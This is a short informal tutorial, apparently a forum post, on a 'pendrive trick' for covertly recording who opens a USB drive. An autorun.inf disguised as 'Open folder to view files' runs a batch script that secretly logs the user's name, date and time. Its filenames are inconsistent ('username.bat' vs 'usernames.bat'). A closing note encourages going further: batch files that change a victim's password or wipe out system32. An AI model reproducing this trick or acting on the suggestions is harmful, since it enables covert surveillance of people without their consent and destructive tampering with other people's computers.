how to track users with pendrive trick

Well with a simple trick you can track who ever is using your pen drive.Cool right, who ever is using your pen drive her computer name will be noted and you can see it.so i will explain the steps..


Create an autorun.inf file on the root of your flash drive/Pendrive with the following contentie the place where you go when you click the drive
code:

[autorun]
open=username.bat
action=Open folder to view files

Now, create a batch file called usernames.bat with these contents:

@echo off
echo %username%>>users.dat
date /t>>users.dat
time /t>>users.dat
start "Explorer" %SystemRoot%\explorer.exe

_____________________________________
Save both file and you are good to go. Now whenever a user plugs your pendrive into their PC,it will display an autoplay option indicating that they have to click on the icon to open the drive to view its contents. A small dos window will flash for a moment and then disappear.Now If you go into the root of the drive, you will find a new file called users.dat which will record the user names of all the users who have accessed your drive by clicking on the icon. You can open the DAT file using notepad and view its contents
However..This is not a fool proof method as some geeks disable the autoplay option (or disable writing to usb drives ) ,or they just bypass it by pressing RIGHT SHIFT key when the pendrive is connected and hence their name will not be recorded or they can delete the users.dat file. But that said,it will work fine nevertheless

NOTE 2 : Umm..I think the above code is way too easy and harmless,why not to get creative and create a batch file which will even change the password ?(DOS NET commands) or even wipe out system32 of your nemesis (cacls command) ?
